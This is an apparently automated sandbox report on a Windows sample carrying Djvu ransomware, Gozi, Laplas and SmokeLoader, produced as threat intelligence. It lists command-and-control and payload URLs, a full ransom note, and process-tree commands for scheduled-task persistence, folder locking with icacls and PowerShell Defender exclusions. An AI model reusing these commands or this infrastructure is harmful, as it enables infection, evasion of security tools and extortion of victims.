djvu | 887d0e5ed17ce5dfe01ef13131fdc8010202ec5a9eb79812d2bed3ebd72e25d6

Analysis

max time kernel
79s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
17-02-2023 11:00

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

887d0e5ed17ce5dfe01ef13131fdc8010202ec5a9eb79812d2bed3ebd72e25d6.exe
Size

190KB
MD5

30824c41f87523365ea97bb45124e05b
SHA1

84f3006abb751f0e3f2379f82fb21192dff007a1
SHA256

887d0e5ed17ce5dfe01ef13131fdc8010202ec5a9eb79812d2bed3ebd72e25d6
SHA512

67b5fdbcd328020d9017e49cc1db0cccd334d5f18bb65432259f078cce70459190f1e25622c8d3be0682cf58d8b5ba98f6a5c0f1c241cc269e1f0ebc6ea346b7
SSDEEP

3072:thlS+ueCHWotAF4WcoTcFak5HjgwnkK4ArLFt75GaSLtCI6TB0:tDSP2o2Kj1aSHv/fFhgfLtCI6T

Score

10^/10

djvu gozi laplas smokeloader 1001 backdoor banker clipper discovery evasion isfb persistence ransomware stealer trojan vmprotect

Malware Config

Extracted

Family

djvu

http://bihsy.com/lancer/get.php

Attributes

extension
.hhoo
offline_id
dMMXkgwQTycP13C5xwPbHDSzhx1ZxiPgIMZXewt1
payload_url
http://uaery.top/dl/build2.exe

http://bihsy.com/files/1/build3.exe
ransomnote
ATTENTION! Don't worry, you can return all your files! All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key. The only method of recovering files is to purchase decrypt tool and unique key for you. This software will decrypt all your encrypted files. What guarantees you have? You can send one of your encrypted file from your PC and we decrypt it for free. But we can decrypt only 1 file for free. File must not contain valuable information. You can get and look video overview decrypt tool: https://we.tl/t-UQkYLBSiQ4 Price of private key and decrypt software is $980. Discount 50% available if you contact us first 72 hours, that's price for you is $490. Please note that you'll never restore your data without payment. Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours. To get this software you need write on our e-mail: [email protected] Reserve e-mail address to contact us: [email protected] Your personal ID: 0648JOsie

rsa_pubkey.plain

Extracted

Family

gozi

Extracted

Family

gozi

Botnet

1001

https://checklist.skype.com

http://176.10.125.84

http://91.242.219.235

http://79.132.130.73

http://176.10.119.209

http://194.76.225.88

http://79.132.134.158

Attributes

base_path
/microsoft/
build
250256
exe_type
loader
extension
.acx
server_id
50

rsa_pubkey.plain

aes.plain

Extracted

Family

laplas

http://45.159.189.105

Attributes

api_key
ad75d4e2e9636ca662a337b6e798d36159f23acfc89bbe9400d0d451bd8d69fd

Signatures

Detected Djvu ransomware 10 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2920-171-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/2920-169-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/2920-174-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/4228-175-0x0000000002420000-0x000000000253B000-memory.dmp	family_djvu
behavioral1/memory/2920-189-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/2920-250-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/2556-261-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/2556-263-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/2556-264-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral1/memory/2556-291-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu

Detects Smokeloader packer 2 IoCs

Processes:

resource	yara_rule
behavioral1/memory/4296-133-0x00000000022A0000-0x00000000022A9000-memory.dmp	family_smokeloader
behavioral1/memory/1684-192-0x0000000000680000-0x0000000000689000-memory.dmp	family_smokeloader

Djvu Ransomware
Ransomware which is a variant of the STOP family.
ransomware djvu
Gozi
Gozi is a well-known and widely distributed banking trojan.
banker trojan gozi
Laplas Clipper
Laplas is a crypto wallet stealer with three variants written in Golang, C#, and C++.
stealer clipper laplas

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

rundll32.exerundll32.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4836	3472	rundll32.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3276	3472	rundll32.exe

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

Suspicious use of NtCreateUserProcessOtherParentProcess 8 IoCs

Processes:

XandETC.exeXandETC.exe

description	pid	process	target process
PID 1120 created 3040	1120	XandETC.exe	Explorer.EXE
PID 1316 created 3040	1316	XandETC.exe	Explorer.EXE
PID 1316 created 3040	1316	XandETC.exe	Explorer.EXE
PID 1316 created 3040	1316	XandETC.exe	Explorer.EXE
PID 1316 created 3040	1316	XandETC.exe	Explorer.EXE
PID 1120 created 3040	1120	XandETC.exe	Explorer.EXE
PID 1120 created 3040	1120	XandETC.exe	Explorer.EXE
PID 1120 created 3040	1120	XandETC.exe	Explorer.EXE

Downloads MZ/PE file
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Checks computer location settings 2 TTPs 7 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

B750.exeCB2B.exeD964.exeB51C.exeliyy.exeliyy.exeB750.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	B750.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	CB2B.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	D964.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	B51C.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	liyy.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	liyy.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	B750.exe

Executes dropped EXE 21 IoCs

Processes:

B51C.exeB5F8.exeB750.exeB8A9.exeB750.exeBD1F.exeC06C.exeCB2B.exeD964.exellpb1133a.exellpb1133a.exeliyy.exeliyy.exeXandETC.exeXandETC.exeliyy.exeliyy.exeB750.exeB750.exe428F.exebuild3.exe

pid	process
4552	B51C.exe
4132	B5F8.exe
4228	B750.exe
2436	B8A9.exe
2920	B750.exe
1684	BD1F.exe
2624	C06C.exe
3080	CB2B.exe
616	D964.exe
3564	llpb1133a.exe
4108	llpb1133a.exe
4480	liyy.exe
4128	liyy.exe
1316	XandETC.exe
1120	XandETC.exe
800	liyy.exe
1340	liyy.exe
3576	B750.exe
2556	B750.exe
1164	428F.exe
1608	build3.exe

Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1060 rundll32.exe
1996 rundll32.exe
Modifies file permissions 1 TTPs 1 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exe

pid process

4284 icacls.exe

pid	process
1060	rundll32.exe
1996	rundll32.exe

pid	process
4284	icacls.exe

VMProtect packed file 6 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\llpb1133a.exe	vmprotect
C:\Users\Admin\AppData\Local\Temp\llpb1133a.exe	vmprotect
C:\Users\Admin\AppData\Local\Temp\llpb1133a.exe	vmprotect
C:\Users\Admin\AppData\Local\Temp\llpb1133a.exe	vmprotect
behavioral1/memory/4108-224-0x0000000140000000-0x000000014061E000-memory.dmp	vmprotect
behavioral1/memory/3564-228-0x0000000140000000-0x000000014061E000-memory.dmp	vmprotect

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

B750.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\3dfa5945-aa8c-4372-b083-f50fba7d2194\\B750.exe\" --AutoStart"	B750.exe

Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

19 api.2ip.ua
20 api.2ip.ua
41 api.2ip.ua

flow	ioc
19	api.2ip.ua
20	api.2ip.ua
41	api.2ip.ua

Suspicious use of SetThreadContext 3 IoCs

Processes:

B750.exeB8A9.exeB750.exe

description	pid	process	target process
PID 4228 set thread context of 2920	4228	B750.exe	B750.exe
PID 2436 set thread context of 2220	2436	B8A9.exe	AppLaunch.exe
PID 3576 set thread context of 2556	3576	B750.exe	B750.exe

Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

4324 sc.exe
4312 sc.exe
3292 sc.exe
176 sc.exe
2140 sc.exe
4800 sc.exe
4524 sc.exe
3836 sc.exe
4488 sc.exe
3744 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

pid	process
4324	sc.exe
4312	sc.exe
3292	sc.exe
176	sc.exe
2140	sc.exe
4800	sc.exe
4524	sc.exe
3836	sc.exe
4488	sc.exe
3744	sc.exe

Program crash 5 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
3592	2624	WerFault.exe	C06C.exe
372	4552	WerFault.exe	B51C.exe
3200	1060	WerFault.exe	rundll32.exe
2572	1996	WerFault.exe	rundll32.exe
1072	1164	WerFault.exe	428F.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

887d0e5ed17ce5dfe01ef13131fdc8010202ec5a9eb79812d2bed3ebd72e25d6.exeBD1F.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	887d0e5ed17ce5dfe01ef13131fdc8010202ec5a9eb79812d2bed3ebd72e25d6.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	887d0e5ed17ce5dfe01ef13131fdc8010202ec5a9eb79812d2bed3ebd72e25d6.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	887d0e5ed17ce5dfe01ef13131fdc8010202ec5a9eb79812d2bed3ebd72e25d6.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	BD1F.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	BD1F.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	BD1F.exe

Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exe

pid process

3208 schtasks.exe
4880 schtasks.exe
4156 schtasks.exe

pid	process
3208	schtasks.exe
4880	schtasks.exe
4156	schtasks.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	36	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	37	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

887d0e5ed17ce5dfe01ef13131fdc8010202ec5a9eb79812d2bed3ebd72e25d6.exeExplorer.EXE

pid	process
4296	887d0e5ed17ce5dfe01ef13131fdc8010202ec5a9eb79812d2bed3ebd72e25d6.exe
4296	887d0e5ed17ce5dfe01ef13131fdc8010202ec5a9eb79812d2bed3ebd72e25d6.exe
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE
3040	Explorer.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

Explorer.EXE

pid process

3040 Explorer.EXE
Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

887d0e5ed17ce5dfe01ef13131fdc8010202ec5a9eb79812d2bed3ebd72e25d6.exeBD1F.exe

pid process

4296 887d0e5ed17ce5dfe01ef13131fdc8010202ec5a9eb79812d2bed3ebd72e25d6.exe
1684 BD1F.exe

pid	process
3040	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 52 IoCs

Processes:

Explorer.EXEpowershell.exepowershell.exepowershell.exepowershell.exepowercfg.exe

description	pid	process
Token: SeShutdownPrivilege	3040	Explorer.EXE
Token: SeCreatePagefilePrivilege	3040	Explorer.EXE
Token: SeShutdownPrivilege	3040	Explorer.EXE
Token: SeCreatePagefilePrivilege	3040	Explorer.EXE
Token: SeShutdownPrivilege	3040	Explorer.EXE
Token: SeCreatePagefilePrivilege	3040	Explorer.EXE
Token: SeShutdownPrivilege	3040	Explorer.EXE
Token: SeCreatePagefilePrivilege	3040	Explorer.EXE
Token: SeShutdownPrivilege	3040	Explorer.EXE
Token: SeCreatePagefilePrivilege	3040	Explorer.EXE
Token: SeShutdownPrivilege	3040	Explorer.EXE
Token: SeCreatePagefilePrivilege	3040	Explorer.EXE
Token: SeShutdownPrivilege	3040	Explorer.EXE
Token: SeCreatePagefilePrivilege	3040	Explorer.EXE
Token: SeShutdownPrivilege	3040	Explorer.EXE
Token: SeCreatePagefilePrivilege	3040	Explorer.EXE
Token: SeShutdownPrivilege	3040	Explorer.EXE
Token: SeCreatePagefilePrivilege	3040	Explorer.EXE
Token: SeShutdownPrivilege	3040	Explorer.EXE
Token: SeCreatePagefilePrivilege	3040	Explorer.EXE
Token: SeShutdownPrivilege	3040	Explorer.EXE
Token: SeCreatePagefilePrivilege	3040	Explorer.EXE
Token: SeShutdownPrivilege	3040	Explorer.EXE
Token: SeCreatePagefilePrivilege	3040	Explorer.EXE
Token: SeShutdownPrivilege	3040	Explorer.EXE
Token: SeCreatePagefilePrivilege	3040	Explorer.EXE
Token: SeShutdownPrivilege	3040	Explorer.EXE
Token: SeCreatePagefilePrivilege	3040	Explorer.EXE
Token: SeShutdownPrivilege	3040	Explorer.EXE
Token: SeCreatePagefilePrivilege	3040	Explorer.EXE
Token: SeShutdownPrivilege	3040	Explorer.EXE
Token: SeCreatePagefilePrivilege	3040	Explorer.EXE
Token: SeShutdownPrivilege	3040	Explorer.EXE
Token: SeCreatePagefilePrivilege	3040	Explorer.EXE
Token: SeShutdownPrivilege	3040	Explorer.EXE
Token: SeCreatePagefilePrivilege	3040	Explorer.EXE
Token: SeShutdownPrivilege	3040	Explorer.EXE
Token: SeCreatePagefilePrivilege	3040	Explorer.EXE
Token: SeShutdownPrivilege	3040	Explorer.EXE
Token: SeCreatePagefilePrivilege	3040	Explorer.EXE
Token: SeShutdownPrivilege	3040	Explorer.EXE
Token: SeCreatePagefilePrivilege	3040	Explorer.EXE
Token: SeShutdownPrivilege	3040	Explorer.EXE
Token: SeCreatePagefilePrivilege	3040	Explorer.EXE
Token: SeShutdownPrivilege	3040	Explorer.EXE
Token: SeCreatePagefilePrivilege	3040	Explorer.EXE
Token: SeDebugPrivilege	3376	powershell.exe
Token: SeDebugPrivilege	4260	powershell.exe
Token: SeDebugPrivilege	896	powershell.exe
Token: SeDebugPrivilege	4628	powershell.exe
Token: SeShutdownPrivilege	4224	powercfg.exe
Token: SeCreatePagefilePrivilege	4224	powercfg.exe

Suspicious use of SetWindowsHookEx 8 IoCs

Processes:

liyy.exeliyy.exeliyy.exeliyy.exe

pid process

4480 liyy.exe
4480 liyy.exe
4128 liyy.exe
4128 liyy.exe
800 liyy.exe
800 liyy.exe
1340 liyy.exe
1340 liyy.exe

pid	process
4480	liyy.exe
4480	liyy.exe
4128	liyy.exe
4128	liyy.exe
800	liyy.exe
800	liyy.exe
1340	liyy.exe
1340	liyy.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Explorer.EXEB750.exeB8A9.exeB750.exeD964.exeCB2B.exeB51C.exeliyy.exeliyy.exe

description	pid	process	target process
PID 3040 wrote to memory of 4552	3040	Explorer.EXE	B51C.exe
PID 3040 wrote to memory of 4552	3040	Explorer.EXE	B51C.exe
PID 3040 wrote to memory of 4552	3040	Explorer.EXE	B51C.exe
PID 3040 wrote to memory of 4132	3040	Explorer.EXE	B5F8.exe
PID 3040 wrote to memory of 4132	3040	Explorer.EXE	B5F8.exe
PID 3040 wrote to memory of 4132	3040	Explorer.EXE	B5F8.exe
PID 3040 wrote to memory of 4228	3040	Explorer.EXE	B750.exe
PID 3040 wrote to memory of 4228	3040	Explorer.EXE	B750.exe
PID 3040 wrote to memory of 4228	3040	Explorer.EXE	B750.exe
PID 3040 wrote to memory of 2436	3040	Explorer.EXE	B8A9.exe
PID 3040 wrote to memory of 2436	3040	Explorer.EXE	B8A9.exe
PID 3040 wrote to memory of 2436	3040	Explorer.EXE	B8A9.exe
PID 4228 wrote to memory of 2920	4228	B750.exe	B750.exe
PID 4228 wrote to memory of 2920	4228	B750.exe	B750.exe
PID 4228 wrote to memory of 2920	4228	B750.exe	B750.exe
PID 4228 wrote to memory of 2920	4228	B750.exe	B750.exe
PID 4228 wrote to memory of 2920	4228	B750.exe	B750.exe
PID 4228 wrote to memory of 2920	4228	B750.exe	B750.exe
PID 4228 wrote to memory of 2920	4228	B750.exe	B750.exe
PID 4228 wrote to memory of 2920	4228	B750.exe	B750.exe
PID 4228 wrote to memory of 2920	4228	B750.exe	B750.exe
PID 4228 wrote to memory of 2920	4228	B750.exe	B750.exe
PID 3040 wrote to memory of 1684	3040	Explorer.EXE	BD1F.exe
PID 3040 wrote to memory of 1684	3040	Explorer.EXE	BD1F.exe
PID 3040 wrote to memory of 1684	3040	Explorer.EXE	BD1F.exe
PID 2436 wrote to memory of 2220	2436	B8A9.exe	AppLaunch.exe
PID 2436 wrote to memory of 2220	2436	B8A9.exe	AppLaunch.exe
PID 2436 wrote to memory of 2220	2436	B8A9.exe	AppLaunch.exe
PID 2436 wrote to memory of 2220	2436	B8A9.exe	AppLaunch.exe
PID 3040 wrote to memory of 2624	3040	Explorer.EXE	C06C.exe
PID 3040 wrote to memory of 2624	3040	Explorer.EXE	C06C.exe
PID 3040 wrote to memory of 2624	3040	Explorer.EXE	C06C.exe
PID 2436 wrote to memory of 2220	2436	B8A9.exe	AppLaunch.exe
PID 3040 wrote to memory of 3080	3040	Explorer.EXE	CB2B.exe
PID 3040 wrote to memory of 3080	3040	Explorer.EXE	CB2B.exe
PID 3040 wrote to memory of 3080	3040	Explorer.EXE	CB2B.exe
PID 2920 wrote to memory of 4284	2920	B750.exe	icacls.exe
PID 2920 wrote to memory of 4284	2920	B750.exe	icacls.exe
PID 2920 wrote to memory of 4284	2920	B750.exe	icacls.exe
PID 3040 wrote to memory of 616	3040	Explorer.EXE	D964.exe
PID 3040 wrote to memory of 616	3040	Explorer.EXE	D964.exe
PID 3040 wrote to memory of 616	3040	Explorer.EXE	D964.exe
PID 616 wrote to memory of 3564	616	D964.exe	llpb1133a.exe
PID 616 wrote to memory of 3564	616	D964.exe	llpb1133a.exe
PID 3080 wrote to memory of 4108	3080	CB2B.exe	llpb1133a.exe
PID 3080 wrote to memory of 4108	3080	CB2B.exe	llpb1133a.exe
PID 4552 wrote to memory of 4880	4552	B51C.exe	schtasks.exe
PID 4552 wrote to memory of 4880	4552	B51C.exe	schtasks.exe
PID 4552 wrote to memory of 4880	4552	B51C.exe	schtasks.exe
PID 616 wrote to memory of 4480	616	D964.exe	liyy.exe
PID 616 wrote to memory of 4480	616	D964.exe	liyy.exe
PID 616 wrote to memory of 4480	616	D964.exe	liyy.exe
PID 3080 wrote to memory of 4128	3080	CB2B.exe	liyy.exe
PID 3080 wrote to memory of 4128	3080	CB2B.exe	liyy.exe
PID 3080 wrote to memory of 4128	3080	CB2B.exe	liyy.exe
PID 616 wrote to memory of 1316	616	D964.exe	XandETC.exe
PID 616 wrote to memory of 1316	616	D964.exe	XandETC.exe
PID 3080 wrote to memory of 1120	3080	CB2B.exe	XandETC.exe
PID 3080 wrote to memory of 1120	3080	CB2B.exe	XandETC.exe
PID 4128 wrote to memory of 800	4128	liyy.exe	liyy.exe
PID 4128 wrote to memory of 800	4128	liyy.exe	liyy.exe
PID 4128 wrote to memory of 800	4128	liyy.exe	liyy.exe
PID 4480 wrote to memory of 1340	4480	liyy.exe	liyy.exe
PID 4480 wrote to memory of 1340	4480	liyy.exe	liyy.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3040

C:\Users\Admin\AppData\Local\Temp\887d0e5ed17ce5dfe01ef13131fdc8010202ec5a9eb79812d2bed3ebd72e25d6.exe
"C:\Users\Admin\AppData\Local\Temp\887d0e5ed17ce5dfe01ef13131fdc8010202ec5a9eb79812d2bed3ebd72e25d6.exe"
2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:4296

C:\Users\Admin\AppData\Local\Temp\B51C.exe
C:\Users\Admin\AppData\Local\Temp\B51C.exe
2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4552

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /tn "svcupdater" /tr "C:\Users\Admin\AppData\Roaming\Win32Sync\svcupdater.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
3⤵
- Creates scheduled task(s)
PID:4880

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4552 -s 1084
3⤵
- Program crash
PID:372

C:\Users\Admin\AppData\Local\Temp\B5F8.exe
C:\Users\Admin\AppData\Local\Temp\B5F8.exe
2⤵
- Executes dropped EXE
PID:4132

C:\Users\Admin\AppData\Local\Temp\B750.exe
C:\Users\Admin\AppData\Local\Temp\B750.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4228

C:\Users\Admin\AppData\Local\Temp\B750.exe
C:\Users\Admin\AppData\Local\Temp\B750.exe
3⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2920

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Users\Admin\AppData\Local\3dfa5945-aa8c-4372-b083-f50fba7d2194" /deny *S-1-1-0:(OI)(CI)(DE,DC)
4⤵
- Modifies file permissions
PID:4284

C:\Users\Admin\AppData\Local\Temp\B750.exe
"C:\Users\Admin\AppData\Local\Temp\B750.exe" --Admin IsNotAutoStart IsNotTask
4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3576

C:\Users\Admin\AppData\Local\Temp\B750.exe
"C:\Users\Admin\AppData\Local\Temp\B750.exe" --Admin IsNotAutoStart IsNotTask
5⤵
- Checks computer location settings
- Executes dropped EXE
PID:2556

C:\Users\Admin\AppData\Local\ff269e0a-688c-40b4-a49c-3ab9c314bf63\build3.exe
"C:\Users\Admin\AppData\Local\ff269e0a-688c-40b4-a49c-3ab9c314bf63\build3.exe"
6⤵
- Executes dropped EXE
PID:1608

C:\Windows\SysWOW64\schtasks.exe
/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
7⤵
- Creates scheduled task(s)
PID:4156

C:\Users\Admin\AppData\Local\Temp\B8A9.exe
C:\Users\Admin\AppData\Local\Temp\B8A9.exe
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2436

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
3⤵
PID:2220

C:\Users\Admin\AppData\Local\Temp\BD1F.exe
C:\Users\Admin\AppData\Local\Temp\BD1F.exe
2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:1684

C:\Users\Admin\AppData\Local\Temp\C06C.exe
C:\Users\Admin\AppData\Local\Temp\C06C.exe
2⤵
- Executes dropped EXE
PID:2624

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2624 -s 448
3⤵
- Program crash
PID:3592

C:\Users\Admin\AppData\Local\Temp\CB2B.exe
C:\Users\Admin\AppData\Local\Temp\CB2B.exe
2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3080

C:\Users\Admin\AppData\Local\Temp\llpb1133a.exe
"C:\Users\Admin\AppData\Local\Temp\llpb1133a.exe"
3⤵
- Executes dropped EXE
PID:4108

C:\Users\Admin\AppData\Local\Temp\liyy.exe
"C:\Users\Admin\AppData\Local\Temp\liyy.exe"
3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4128

C:\Users\Admin\AppData\Local\Temp\liyy.exe
"C:\Users\Admin\AppData\Local\Temp\liyy.exe" -h
4⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:800

C:\Users\Admin\AppData\Local\Temp\XandETC.exe
"C:\Users\Admin\AppData\Local\Temp\XandETC.exe"
3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
PID:1120

C:\Users\Admin\AppData\Local\Temp\D964.exe
C:\Users\Admin\AppData\Local\Temp\D964.exe
2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:616

C:\Users\Admin\AppData\Local\Temp\llpb1133a.exe
"C:\Users\Admin\AppData\Local\Temp\llpb1133a.exe"
3⤵
- Executes dropped EXE
PID:3564

C:\Users\Admin\AppData\Local\Temp\liyy.exe
"C:\Users\Admin\AppData\Local\Temp\liyy.exe"
3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4480

C:\Users\Admin\AppData\Local\Temp\liyy.exe
"C:\Users\Admin\AppData\Local\Temp\liyy.exe" -h
4⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1340

C:\Users\Admin\AppData\Local\Temp\XandETC.exe
"C:\Users\Admin\AppData\Local\Temp\XandETC.exe"
3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
PID:1316

C:\Users\Admin\AppData\Local\Temp\428F.exe
C:\Users\Admin\AppData\Local\Temp\428F.exe
2⤵
- Executes dropped EXE
PID:1164

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\system32\rundll32.exe C:\Users\Admin\AppData\Local\Temp\Ruifriwreh.dll,start
3⤵
PID:1800

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1164 -s 676
3⤵
- Program crash
PID:1072

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3376

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4260

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
